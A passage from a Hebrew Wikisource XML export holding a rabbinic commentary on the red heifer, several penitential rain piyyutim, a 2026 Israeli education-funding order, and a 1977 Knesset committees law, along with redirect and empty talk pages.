'''ולבא''' אל הענין נשית לב להבין מז&quot;ל, והוא כי כשאמר הקב&quot;ה למשה אמור אל הכהנים בני אהרן לנפש לא יטמא כו' אמר לו משה ואם יטמאו מה תקנתם, ולא החזיר לו תשובה, נתכרכמו פניו של משה שנאמר ועוז פניו ישונא כו'. וראוי להעיר היכן נרמז ששאל משה מה תקנתם, וגם למה לא השיב לו אז תשובה עד בואו אל המקום הזה. ועוד כי הלא לא היה דבר בתורה שלא קבל משה בסיני, והיתכן שטהרת טמאי מתים לא נאמרה לו ומה גם שהיא פרשה ראשונה מהתורה, ועוד שבפירוש ארז&quot;ל כי במרה שהיה קודם מתן תורה ניתנו לישראל שבת ודינים ופרה אדומה, ואם כן מה זו שאלה ואם יטמאו מה תקנתם, ועוד אומרו נתכרכמו פניו אם הוא שנתקשה על בלתי היות תקנה היל&quot;ל תמה משה וכיוצא בזה, אך באומרו נתכרכמו פניו נראה כי נגע אל עצמו צער גדול בדבר ואיננו לפי הנראה. אך הנה זה יתבאר בהבין מאמר זולתו הלא הוא שאמרו ז&quot;ל, משל לשפחה שטינף בנה פלטין של מלך אמר המלך תבא אמו ותקנח, כך תבא הפרה שהיא אמו של עגל ותקנחהו וכו'. כי הנה במאמר ההוא יקשה כי אם היתה פרה מכפרת על העון העגל היה המשל צודק, אך לא כן הוא רק לטהר את הטמא מת. אמנם הנה בפרשת אמור כתבנו כי זוהמת נפש המביאה מיתה לאדם בהיותה כרוכה בו כנודע פסקה בהר סיני והיה לנו חירות ממלאך המות לולא העגל שהחזיר הזוהמא למקומה והסיב המיתה והטומאה כי אשר יטמא הנוגע או מאהיל עליו, לכן מי תקנח טינוף המדבר בנטמא למת על ידי העגל תבא אמו וכו', וזהו אומרו טינף פלטין של מלך שהוא האדם העובד את ה' כי היכל ה' הוא באומרו ושכנתי בתוכם ולא נאמר בתוכו. בנוגעו במת הוא העגל שהביא הזוהמא וסיבב יטמא הנוגע במת וכו', תבא אמו וכו'. ונבא אל עניינינו והוא כי לא יבצר מהיות פתחון פה לאדם לדבר ולומר כי סיבה ראשונה לזה היה אהרן כי מתחת ידו יצא העגל ההוא המביא מיתה וטומאה, והלא יהיה לאהרן לבושת מנפש ועד בשר יגיע לומר כי הוא היסב מיתה וטומאה, ולא עוד כי אם גם באומרו יתברך התיקון בפרה לא יאות יזכר אהרן בדבר פן תהיה לו למחיתה במזכרת עון, על כן מה עשה הוא יתברך שיתפו עם משה ואמר וידבר ה' אל משה ואל אהרן לאמר, כלומר וידבר ה' ענין שאל משה ואל אהרן יאות לאמר, כי כאשר אין על משה בושה על דבר העגל כי על השמים היה ויאות לו לאמר ענין זה גן גם לאהרן יאות לאמר כי לא דבק בידו מאומה מן החרם ההוא, ומה גם לרז&quot;ל האומרים כי לא נענש והתאנף בו ה' רק על שעמד והפליג לכל ישראל כל אותו היום לההביל ענין העגל שאמר לו הקדוש ברוך הוא הנה עשיתם מזידים יותר, אך לא על מעשה העגל מצד עצמו. ובזה יובן המאמר הקודם כי בשמוע משה אמור אל הכהנים בני אהרן לנפש לא יטמא הרגיש משה על כבוד אהרן כי בני אהרן נטמאים במת והוא על מה שנעשה על ידי, על כן אמר בלבו הנה לא תהיה החרפה כל כך גדולה אם יהיה תקנה בדבר, אך אם אין תקנה הוא חרפה עצומה לאהרן, והוא כי חשב שתיקון אפר פרה לטמא מת לא יהיה לזרע אהרן, יען על ידו היה בא טומאת מת לעולם ואיך יטהרו על ידי אמו של עגל, ועלה בדעתו שאומרו יתברך לבני אהרן שלא יטמאו הוא על כי אין להם תיקון, כי מה שנאמרה טהרת אפר פרה הוא לישראלים ולויים, על כן שאל אם יטמאו מה תקנתם, וע לכן כאשר שתק הקדוש ברוך הוא נתכרכמו פניו על כבוד אהרן. והנה ה' חשבה לטובה והוא כי אם היה משיב לו פרשת פרה לא היה נראה כי אפילו אהרן היה ראוי שתאמר פרשת פרה על ידו כי היה משיב לו לבדו כי לא היה אז אהרן עמו, לכן המתין עד שקבע הפרשה על שם שניהם באומרו וידבר ה' אל משה ואל אהרן לאמר, כי לא עתה יבוש אהרן בענין זה כי הנה כמוהו כמשה ראויים לאמר על ידם, וזה אומרו לאמר. ולהיות הכוונה כך כשדבר הצווי לישראל לא הוזכר רק משה לבדו כאומרו ויקחו אליך וכו', כי כל עיקר כוונת פסוק ראשון אינו אלא להשוות את שניהם בדבר כי לא ידע בכשופיהם והוא כמו שכתבנו. 

'''או''' שיעור הכתוב וידבר ה' במקום שאל משה ואל אהרן לאמר, ולא כאשר שאל משה מה תקנתם כי היה אל משה ולא אל אהרן שלא היה אז אתו, והציעם לרז&quot;ל לומר כי משה שאל מאז מה תקנתם ושלא השיב לו הקדוש ברוך הוא, כי הוקשה להם למה לא נאמרה התקנה במקום שהוזכרה הטומאה. ועוד מאשר שיתף כאן את אהרן ואחר כך לא דבר כי אם עם משה לבדו, על כן אמרו שאין הכונה רק להפיס דעתו של משה שמשתף עמו את אהרן בדבר זה. ועל כן הוצרך להפיס דעתו. אך בדברו עם ישראל לא דבר הוא, שאין ראוי בל יאמרו שהוא היסב יצטרכו לכך, ואם כן אחר שעם ישראל לא יאות שידבר אהרן למה שיתפו עם משה. אך אין זה רק ששאל ולא השיב לו ונתכרכמו פניו והוצרך להפיס דעתו. 
עוד יתכן לתת טעם למה שתק הוא יתברך כששאל משה התקנה. ויותכו בזה ב' תיבות אומרו התורה ואומרו לאמר. והיות פיוס גדול למשה על מה שנתכרכמו פניו על כבוד אהרן, והוא במאמרם ז&quot;ל פרשת בראשית כי בעלילה בא הקדוש ברוך הוא על אדם הראשון שהרי אלפים שנה קודם לעולם היה כתוב בתורה אדם כי ימות באהל, וגם מלאך המות קודם לאדם שנאמר וחשך על פני תהום, ואם כן ראוי היה מאז תיקון הטומאה, על כן באומרו יתברך אמור אל הכהנים וכו' אם היה אומר שם התיקון היה נראה כי אהרן היסב הטומאה ובעבורו הוצרך התיקון לבני אהרן המוזהרים על הטומאה, על כן אז שתק ואחר כך קבע הפרשה ולא הזכיר בה טהרת הפרה בלא יראה שעל טומאת בני אהרן שהזכיר הוצרך התיקון, על כן סתם והמתיק בלשונו פיוס גמור למשה ואמר זאת חקת התורה לומר כי הלא אם עתה יבוש אהרן באמור אנכי הסבותי להצטרך תיקון זה, שאם לא כן לא היו מתים ולא היה צריך טהרה מפרה, לז&quot;א זאת חוקת התורה כלומר מצד עצמה אשר צוה ה' לאמר מאז היתה תורה בעולם אלפים שנה קודם לעולם, וזה אומרו התורה ואומרו לאמר כמאמרם ז&quot;ל כי בעלילה בא הקדוש ברוך הוא על אדם הראשון שהרי כתוב בתורה קודם שנברא העולם אדם כי ימות באהל כו'. ועל פי דרכו הורה הוא יתברך כמה חביבה הטהרה בעיניו כי רצה לזכות בה את כלם את משה שויקחו אליו ולאהרן שגם הוא עם משה יתנו אותה אל אלעזר ואת ישראל שיקחוה אל משה ואל אלעזר שיטפל בה, וגם את אשי ישראל שישקוט כי זר שוחט ואלעזר רואה כאומרו לפניו:</text>
      <sha1>pdtyz15vo2497yautmtp51obgnsdtxk</sha1>
    </revision>
  </page>
  <page>
    <title>ה' אבלו נערים</title>
    <ns>0</ns>
    <id>1744402</id>
    <revision>
      <id>3020698</id>
      <timestamp>2026-06-18T19:51:48Z</timestamp>
      <contributor>
        <username>מו יו הו</username>
        <id>37729</id>
      </contributor>
      <comment>מתוך כ&quot;י ירושלים, הספריה הלאומית, Ms. Heb. 7220=24. שני תיקונים ע&quot;פ אגרות שד&quot;ל.</comment>
      <origin>3020698</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2032" sha1="4496a5pyjt71ltskdwm1flq01lpd680" xml:space="preserve">{{טקסט מנוקד|גודל=22}}
'''יְיָ אֱלֹהֵי יִשְׂרָאֵל. שׁוּב מֵחֲרוֹן אַפֶּךָ, וְהִנָּחֵם עַל הָרָעָה לְעַמֶּךָ׃{{ממס|שמות לב יב}}'''

{{הור|סימן: '''אני שמואל'''}}

יְיָ {{סי|אָ}}בְלוּ נְעָרִים וּזְקֵנִים / בְּהֵעָצֵר טַלְלֵי מְעוֹנִים / וַיִּכָּלֵא {{מילת קבע|הַגֶּשֶׁם}}.{{ממס|בראשית ח ב}}{{ש}}
{{סי|נְ}}דִיבֵי עַמִּים נֶאֱסָפוּ / בּוֹשׁוּ הָכְלְמוּ וְרֹאשָׁם חָפוּ / כִּי לֹא הָיָה {{מילת קבע|גֶשֶׁם}}.{{ממס|מלכים א יז ז}}{{ש}}
{{סי|יֵ}}שְׁבוּ לָאָרֶץ יִדְּמוּ / יָרִידוּ בְּשִׂיחִים וְיֶהֱמוּ / עַד תֵּת יְיָ {{מילת קבע|גֶּשֶׁם}}.{{ממס|מלכים א יז יד}}{{ש}}
{{סי|שַׁ}}אֲלוּ מָטָר הֲמוֹנַי / אוּלַי בְּעֵת מַלְקוֹשׁ, יְיָ / עֹשֶׂה חֲזִיזִים וּמְטַר {{מילת קבע|גֶּשֶׁם}}.{{ממס|זכריה י א}}{{ש}}
{{סי|מְ}}רוֹמָם וּמִתְנַשֵּׂא / הוֹפִיעָה בְרַחֲמִים וְהִנָּשֵׂא / כַּאֲשֶׁר יֵרֵד {{מילת קבע|הַגֶּשֶׁם}}.{{ממס|ישעיהו נה י}}{{ש}}
{{סי|וּ}}שְׁחָקִים חָזְקוּ מְצוֹרִים / בֶּעָבִים יִהְיוּ מִתְקַדְּרִים / וְשָׁבוּ הֶעָבִים אַחַר {{מילת קבע|הַגָּשֶׁם}}.{{ממס|קהלת יב ב}}{{ש}}
{{סי|אַל}} תִתְעַלַּם מִצָּרָתֵנוּ / שׁוּבָה יְיָ אֶת שְׁבִיתֵנוּ / מַשִּׁיב הָרוּחַ וּמוֹרִיד {{מילת קבע|הַגֶּשֶׁם}}.
{{ש}}
{{הור|שוב מחרון אפך…}}

[[קטגוריה:פיוטי תחינה]]
[[קטגוריה:תפילות על גשמים]]
[[קטגוריה:חתימה]]</text>
      <sha1>4496a5pyjt71ltskdwm1flq01lpd680</sha1>
    </revision>
  </page>
  <page>
    <title>ה' אליך תערוג</title>
    <ns>0</ns>
    <id>1744403</id>
    <revision>
      <id>3020699</id>
      <timestamp>2026-06-18T20:00:39Z</timestamp>
      <contributor>
        <username>מו יו הו</username>
        <id>37729</id>
      </contributor>
      <comment>מאגרות שד&quot;ל</comment>
      <origin>3020699</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1548" sha1="4f1znbs3lpfp6ryew2hol7cstif17qv" xml:space="preserve">{{טקסט מנוקד|גודל=22}}
'''יְיָ אֱלֹהֵי יִשְׂרָאֵל. שׁוּב מֵחֲרוֹן אַפֶּךָ, וְהִנָּחֵם עַל הָרָעָה לְעַמֶּךָ׃{{ממס|שמות לב יב}}'''

{{הור|סימן: '''אברהם'''}}

יְיָ {{סי|אֵ}}לֶיךָ תַּעֲרֹג / נַפְשִׁי, כְּאַיָּל תַּעֲרֹג / עַל אֲפִיקֵי {{מילת קבע|מָיִם}}.{{ממס|תהלים מב ב}}{{ש}}
{{סי|בְּ}}רֹב עֲוֹנֵינוּ / עָצְרוּ שָׁמֵינוּ וְכָשְׁלוּ בִּרְכֵּינוּ / וַיִּמַּס לְבַב הָעָם וַיְהִי {{מילת קבע|לְמָיִם}}.{{ממס|יהושע ז ה}}{{ש}}
{{סי|רְ}}אֵה כִּי קָצְרָה רוּחֵנוּ / וְסָף כֹּחֵנוּ / כִּי יָבְשׁוּ אֲפִיקֵי {{מילת קבע|מָיִם}}.{{ממס|יואל א כ}}{{ש}}
{{סי|הֲ}}שָׁכַח חַנּוֹת אֵל / יֹאמַר נָא יִשְׂרָאֵל / בָּאוּ עַל גֵּבִים (ו)לֹא מָצְאוּ {{מילת קבע|מַיִם}}.{{ממס|ירמיהו יד ג}}{{ש}}
{{סי|מַ}}הֵר יְקַדְּמוּנוּ רַחֲמֶיךָ / וּבַשְּׂרֵנוּ מִמְּרוֹמֶיךָ / לֹא רָעָב לַלֶּחֶם וְלֹא צָמָא {{מילת קבע|לַמַּיִם}}.{{ממס|עמוס ח יא}}{{ש}}
{{הור|שוב מחרון אפך…}}

[[קטגוריה:פיוטי תחינה]]
[[קטגוריה:תפילות על גשמים]]
[[קטגוריה:חתימה]]</text>
      <sha1>4f1znbs3lpfp6ryew2hol7cstif17qv</sha1>
    </revision>
  </page>
  <page>
    <title>ה' דרכי חמה</title>
    <ns>0</ns>
    <id>1744404</id>
    <revision>
      <id>3020703</id>
      <timestamp>2026-06-18T20:23:45Z</timestamp>
      <contributor>
        <username>מו יו הו</username>
        <id>37729</id>
      </contributor>
      <comment>אגרות שד&quot;ל וסידור כ&quot;י פרמה Cod. Parm. 1917</comment>
      <origin>3020703</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1941" sha1="4otuh06axd61a4x8e7zv4dqusviwziu" xml:space="preserve">{{טקסט מנוקד|גודל=22}}
'''יְיָ אֱלֹהֵי יִשְׂרָאֵל. שׁוּב מֵחֲרוֹן אַפֶּךָ, וְהִנָּחֵם עַל הָרָעָה לְעַמֶּךָ׃{{ממס|שמות לב יב}}'''

{{הור|סימן: '''דויד בן יהודה'''}}

יְיָ {{סי|דַּ}}רְכֵי חַמָּה וּשְׁבִילֵי לְבָנָה בָּרָקִיעַ הוֹפַעְנוּ {{ש}}
{{סי|וּ}}מוֹלְדוֹת יְרָחִים וּתְקוּפוֹת קָבַעְנוּ {{ש}}
{{סי|יֶ}}רַח גְּאֻלָּתֵנוּ לֹא מָצָאנוּ וְלֹא יָדַעְנוּ {{ש}}
{{סי|דָּ}}הַמְנוּ מֵחֶשְׁבּוֹנֵנוּ וְחֶרְפָּה וָבוּז שָׂבַעְנוּ {{ש}}
{{סי|בֹּ}}שְׁנוּ כִּי צוֹפֵינוּ נָשְׂאוּ קוֹל מְבַשֵּׂר וְלֹא שָׁמַעְנוּ {{ש}}
{{סי|נִ}}מְשְׁכָה תוֹחַלְתֵּנוּ וּמֵהוֹחִיל מְאֹד יָגַעְנוּ {{ש}}
{{סי|יָ}}רַדְנוּ מַטָּה מַטָּה וּמִבֶּטֶן שָׁאוּל שִׁוַּעְנוּ {{ש}}
{{סי|הֲ}}מוֹן לְאֻמִּים שְׁטָפוּנוּ וּבִשְׁאוֹן יַמִּים טָבַעְנוּ {{ש}}
{{סי|וְ}}לֹא מָצָאנוּ מָנוֹחַ וּמַרְגּוֹעַ לֹא רָגַעְנוּ {{ש}}
{{סי|דִּ}}מִּינוּ וְשִׂבַּרְנוּ יְשׁוּעָה וְהִנֵּה בַּגָּלוּת שָׁקַעְנוּ {{ש}}
{{סי|הֵ}}ן כָּל חֶשְׁבּוֹנוֹת עָבַרְנוּ וְחֶשְׁבּוֹן הַקֵּץ לֹא פָגַעְנוּ {{ר1}}
עָבַר קָצִיר כָּלָה קָיִץ וַאֲנַחְנוּ לוֹא נוֹשָׁעְנוּ.{{ממס|ירמיהו ח כ}}{{ר2}}
{{הור|שוב מחרון אפך…}}

[[קטגוריה:פיוטי תחינה]]
[[קטגוריה:פיוטי תשעה באב]]
[[קטגוריה:חתימה]]</text>
      <sha1>4otuh06axd61a4x8e7zv4dqusviwziu</sha1>
    </revision>
  </page>
  <page>
    <title>צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)</title>
    <ns>0</ns>
    <id>1744405</id>
    <revision>
      <id>3020705</id>
      <timestamp>2026-06-18T21:00:10Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>[3020663] צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו), התשפ&quot;ו-2026</comment>
      <origin>3020705</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="9240" sha1="5l11pqpyqk74kthbd57ah3rhjfv9od1" xml:space="preserve">{{ח:התחלה}}
{{ח:כותרת|צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ״ו), התשפ״ו–2026}}

{{ח:פתיח-התחלה}}
{{ח:תיבה|ק״ת תשפ״ו, 2258|צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ״ו)|https://olaw.org.il/takanot/takanot-12432.pdf}}.
{{ח:סוגר}}
{{ח:מפריד}}

{{ח:מבוא}}
בתוקף סמכותי לפי {{ח:חיצוני|חוק לימוד חובה#סעיף 7|סעיף 7(ב)}} {{ח:חיצוני|חוק לימוד חובה|לחוק לימוד חובה, התש״ט–1949}} (להלן – החוק), בהתייעצות עם שר הפנים ועם ועדת החינוך התרבות והספורט של הכנסת, אני מצווה לאמור:
{{ח:סוגר}}
{{ח:מפריד}}

{{ח:סעיף|1|הגדרות}}
{{ח:ת}} בצו זה –
{{ח:ת|סוג=הגדרה}} ”אשכול יישובים“ – דירוג הרמה הכלכלית־חברתית לפי פרסומי הלשכה המרכזית לסטטיסטיקה;
{{ח:ת|סוג=הגדרה}} ”בית ספר יסודי“ – מוסד חינוך רשמי שלומדים בו תלמידים בכיתות א׳ עד ו׳ או א׳ עד ח׳ או א׳ עד ט׳;
{{ח:ת|סוג=הגדרה}} ”המשרד“ – משרד החינוך;
{{ח:ת|סוג=הגדרה}} ”חוק חינוך מיוחד“ – {{ח:חיצוני|חוק חינוך מיוחד|חוק חינוך מיוחד, התשמ״ח–1988}};
{{ח:ת|סוג=הגדרה}} ”חטיבת ביניים“ – מוסד חינוך רשמי שלומדים בו תלמידים בכיתות ז׳ עד ט׳;
{{ח:ת|סוג=הגדרה}} ”מוסד חינוך רשמי“ – כמשמעותו {{ח:חיצוני|חוק לימוד חובה#סעיף 7|בסעיף 7(ב) לחוק}};
{{ח:ת|סוג=הגדרה}} ”סייע שילוב“ – סייע המעניק שירותי סיוע, לתלמידים משולבים הזכאים לשירותים מיוחדים לפי {{ח:חיצוני|חוק חינוך מיוחד#פרק ד1|פרק ד׳1 לחוק חינוך מיוחד}};
{{ח:ת|סוג=הגדרה}} ”סייע מלווה“ – סייע למטרת טיפול בתלמיד עם צרכים רפואיים ייחודיים בחינוך הרגיל או השגחה על תלמיד כאמור;
{{ח:ת|סוג=הגדרה}} ”עובד סיוע“ – כל אחד מאלה: טכנאי מעבדה, מתאם מחשוב בית ספרי, מפעיל ציוד אור־קולי כולל ציוד דיגיטלי;
{{ח:ת|סוג=הגדרה}} ”עלות משרה“ – עלות משרה מלאה ממוצעת בהתאם לקריטריונים לעניין זה שהמשרד מפרסם לשנת תקציב או לשנת לימודים, לאחר היוועצות במרכז השלטון המקומי;
{{ח:ת|סוג=הגדרה}} ”פסיכולוג מתמחה“ – מי שמבצע התמחות לפי {{ח:חיצוני|תקנות הפסיכולוגים (אישור תואר מומחה)#פרק ב|פרק ב׳ לתקנות הפסיכולוגים (אישור תואר מומחה), התשל״ט–1979}}, ובכלל זה מתמחה זמני כהגדרתו {{ח:חיצוני|תקנות הפסיכולוגים (אישור תואר מומחה)|בתקנות האמורות}}.

{{ח:סעיף|2|שיעור ההשתתפות של המדינה}}
{{ח:ת}} שיעור ההשתתפות של המדינה בקיום מוסדות חינוך רשמיים בתחומים המפורטים להלן יהיה כמצוין בהם:
{{ח:תת|(1)}} בבית ספר יסודי ובחטיבת ביניים –
{{ח:תתת|(א)}} שכר עבודה – עובד הוראה שהוא עובד המדינה – 100% מעלות משרתו;
{{ח:תתת|(ב)}} אגרת שכפול, חומרי מלאכה וערכות טכנולוגיות – בהתאם לחלוקה של עלות אגרת שכפול, ועלות חומרי מלאכה וערכות טכנולוגיות, לפי אשכול היישובים שלהלן:
{{ח:תתתת|(1)}} אשכולות 1 ו־2 – 90%;
{{ח:תתתת|(2)}} אשכול 3 – 80%;
{{ח:תתתת|(3)}} אשכול 4 – 70%;
{{ח:תתתת|(4)}} אשכול 5 – 65%;
{{ח:תתתת|(5)}} אשכול 6 – 60%;
{{ח:תתתת|(6)}} אשכול 7 – 55%;
{{ח:תתתת|(7)}} אשכולות 8 עד 10 – 50%;
{{ח:תתת}} בפסקת משנה זו –
{{ח:תתת|סוג=הגדרה}} ”עלות אגרת שכפול“ –
{{ח:תתתת}} במוסדות המתוקצבים לפי כיתה – 850 שקלים חדשים לכיתה;
{{ח:תתתת}} במוסדות המתוקצבים לפי תלמיד – 33 שקלים חדשים לתלמיד לשנה;
{{ח:תתת|סוג=הגדרה}} ”עלות חומרי מלאכה וערכות טכנולוגיות“ –
{{ח:תתתת}} בגן ילדים לגילאי 5 – 77 שקלים חדשים לתלמיד לשנה;
{{ח:תתתת}} בבית ספר יסודי – 58 שקלים חדשים לתלמיד לשנה;
{{ח:תתתת}} בחטיבת ביניים – 80 שקלים חדשים לתלמיד לשנה;
{{ח:תתת|(ג)}} פסיכולוג – 68% מעלות משרתו; ולעניין פסיכולוג מתמחה – 75% מעלות משרתו;
{{ח:תתת|(ד)}} קצין ביקור סדיר – 75% מעלות משרתו;
{{ח:תתת|(ה)}} שירותים נלווים –
{{ח:תתתת|(1)}} מזכיר, שרת ופועל ניקיון – 87% מעלות משרתם;
{{ח:תתתת|(2)}} בחטיבת ביניים בלבד –
{{ח:תתתתת|(א)}} ספרן ורכז חברתי – 100% מעלות משרתם;
{{ח:תתתתת|(ב)}} עובד סיוע – 87% מעלות משרתו;
{{ח:תתתת|(3)}} סייע שילוב – 70% מעלות משרתו;
{{ח:תתתת|(4)}} סייע מלווה – 75% מעלות משרתו;
{{ח:תת|(2)}} בגן ילדים לגילאי 5 –
{{ח:תתת|(א)}} שכר עבודה –
{{ח:תתתת|(1)}} עובד הוראה שהוא עובד המדינה – 100% מעלות משרתו;
{{ח:תתתת|(2)}} סייעת לגננת – 117.85% מעלות משרתה אם הגן פועל שישה ימים בשבוע; 100% מעלות משרתה אם הגן פועל חמישה ימים בשבוע;
{{ח:תתתת|(3)}} סייע שילוב – 70% מעלות משרתו;
{{ח:תתתת|(4)}} סייע מלווה – 75% מעלות משרתו;
{{ח:תתת|(ב)}} פסיכולוג – 68% מעלות משרתו; ולעניין פסיכולוג מתמחה – 75% מעלות משרתו;
{{ח:תתת|(ג)}} חומרי מלאכה וערכות טכנולוגיות – בהתאם לעלות חומרי מלאכה וערכות טכנולוגיות כאמור בסעיף 2(1)(ב) לצו זה;
{{ח:תת|(3)}} בגן ילדים לגילאי 3 עד 4 –
{{ח:תתת|(א)}} שכר הלימוד – המשרד ישתתף בשיעור של 90% מעלות אחזקה של גן ילדים, הכוללת חלוקת הסכום של עלות השכר של גננת, סייעת לגננת, וכן הוצאות תפעוליות שאינן שכר, ב־31 – ברשויות המקבלות מענק כללי לאיזון ממשרד הפנים, וברשויות נטולות מענק כללי לאיזון כאמור – ב־33, והכפלתו במספר התלמידים בגן הילדים בפועל; בפסקת משנה זו, ”הוצאות תפעוליות שאינן שכר“ – הוצאות מינהל, חומרי עבודה, חומרי ניקוי, חשמל, מים, אחזקה, בדק, תיקונים, פחת, ציוד, ריהוט ותמריצים, כפי שיקבע המשרד, מדי שנת תקציב או שנת לימודים, לאחר היוועצות במרכז השלטון המקומי;
{{ח:תתת|(ב)}} שכר עבודה –
{{ח:תתתת|(1)}} סייע שילוב – 70% מעלות משרתו;
{{ח:תתתת|(2)}} סייע מלווה – 75% מעלות משרתו;
{{ח:תתתת|(3)}} פסיכולוג – 68% מעלות משרתו; ולעניין פסיכולוג מתמחה – 75% מעלות משרתו.

{{ח:סעיף|3|שיעור השתתפות של רשויות החינוך המקומיות}}
{{ח:ת}} שיעור השתתפות של רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים שבתחומן, בכל תחום כמפורט {{ח:פנימי|סעיף 2|בסעיף 2}}, יהיה ההפרש שבין 100 אחוזים לשיעור ההשתתפות של המדינה.

{{ח:סעיף|4|שיעור הקצאת משרות בידי המדינה}}
{{ח:ת}} שיעור הקצאת משרות בידי המדינה לרשויות המקומיות יהיה בכפוף לתקינה שהמשרד מפרסם באתר האינטרנט של המשרד, בכל שנת תקציב או שנת לימודים.

{{ח:סעיף|5|תחולה}}
{{ח:ת}} צו זה יחול לגבי שנת הלימודים התשפ״ו.

{{ח:חתימות|ט״ו בסיוון התשפ״ה (11 ביוני 2025)}}
* '''יואב קיש'''&lt;br&gt;שר החינוך
{{ח:סוגר}}
{{ח:סוף}}
[[קטגוריה:בוט חוקים]]</text>
      <sha1>5l11pqpyqk74kthbd57ah3rhjfv9od1</sha1>
    </revision>
  </page>
  <page>
    <title>שיחת מקור:צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)</title>
    <ns>117</ns>
    <id>1744406</id>
    <redirect title="שיחה:צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)" />
    <revision>
      <id>3020706</id>
      <timestamp>2026-06-18T21:00:12Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>הפניה</comment>
      <origin>3020706</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="231" sha1="rdmkbxpio9xz4x4dst6av7e1p0xfut2" xml:space="preserve">#הפניה [[שיחה:צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)]]</text>
      <sha1>rdmkbxpio9xz4x4dst6av7e1p0xfut2</sha1>
    </revision>
  </page>
  <page>
    <title>שיחה:צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)</title>
    <ns>1</ns>
    <id>1744407</id>
    <revision>
      <id>3020707</id>
      <timestamp>2026-06-18T21:00:14Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>דף ריק</comment>
      <origin>3020707</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="0" sha1="phoiac9h4m842xq45sp7s6u21eteeq1" />
      <sha1>phoiac9h4m842xq45sp7s6u21eteeq1</sha1>
    </revision>
  </page>
  <page>
    <title>חוק ועדות הכנסת (ועדת העבודה והרווחה)</title>
    <ns>0</ns>
    <id>1744408</id>
    <revision>
      <id>3020716</id>
      <timestamp>2026-06-19T03:00:09Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>[3019825] חוק ועדות הכנסת (ועדת העבודה והרווחה)</comment>
      <origin>3020716</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1279" sha1="du1hm72e2orrz1zh7tv48mpfcfz2h9p" xml:space="preserve">{{ח:התחלה}}
{{ח:כותרת|חוק ועדות הכנסת (ועדת העבודה והרווחה), תשל״ז–1977}}

{{ח:פתיח-התחלה}}
{{ח:מאגר|2000629}} {{ח:תיבה|ס״ח תשל״ז, 310|חוק ועדות הכנסת (ועדת העבודה והרווחה)|https://fs.knesset.gov.il/9/law/9_lsr_208337.pdf}}.
{{ח:סוגר}}
{{ח:מפריד}}

{{ח:סעיף|1|ועדת העבודה והרווחה}}
{{ח:ת}} כל סמכות ותפקיד הנתונים לפי חיקוק לועדת העבודה של הכנסת או לועדת השירותים הציבוריים של הכנסת יהיו נתונים לועדת העבודה והרווחה של הכנסת, אולם הכנסת רשאית, בהחלטה על־פי הצעת ועדת הכנסת, לקבוע כי סמכות או תפקיד כאמור יהיו נתונים לועדה אחרת של הכנסת.

{{ח:סעיף|2|תחילה}}
{{ח:ת}} תחילתו של חוק זה ביום י״ג בתמוז תשל״ז (28 ביוני 1977).

{{ח:חתימות|נתקבל בכנסת ביום י״ט באב תשל״ז (3 באוגוסט 1977).}}
* '''מנחם בגין'''&lt;br&gt;ראש הממשלה
* '''אפרים קציר'''&lt;br&gt;נשיא המדינה
{{ח:סוגר}}
{{ח:סוף}}
[[קטגוריה:בוט חוקים]]</text>
      <sha1>du1hm72e2orrz1zh7tv48mpfcfz2h9p</sha1>
    </revision>
  </page>
  <page>
    <title>שיחת מקור:חוק ועדות הכנסת (ועדת העבודה והרווחה)</title>
    <ns>117</ns>
    <id>1744409</id>
    <redirect title="שיחה:חוק ועדות הכנסת (ועדת העבודה והרווחה)" />
    <revision>
      <id>3020717</id>
      <timestamp>2026-06-19T03:00:11Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>הפניה</comment>
      <origin>3020717</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="92" sha1="qsjsehv9mskhlsapiy0izcax4jil1hj" xml:space="preserve">#הפניה [[שיחה:חוק ועדות הכנסת (ועדת העבודה והרווחה)]]</text>
      <sha1>qsjsehv9mskhlsapiy0izcax4jil1hj</sha1>
    </revision>
  </page>
  <page>
    <title>שיחה:חוק ועדות הכנסת (ועדת העבודה והרווחה)</title>
    <ns>1</ns>
    <id>1744410</id>
    <revision>
      <id>3020718</id>
      <timestamp>2026-06-19T03:00:13Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>דף ריק</comment>
      <origin>3020718</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="0" sha1="phoiac9h4m842xq45sp7s6u21eteeq1" />
      <sha1>phoiac9h4m842xq45sp7s6u21eteeq1</sha1>
    </revision>
  </page>
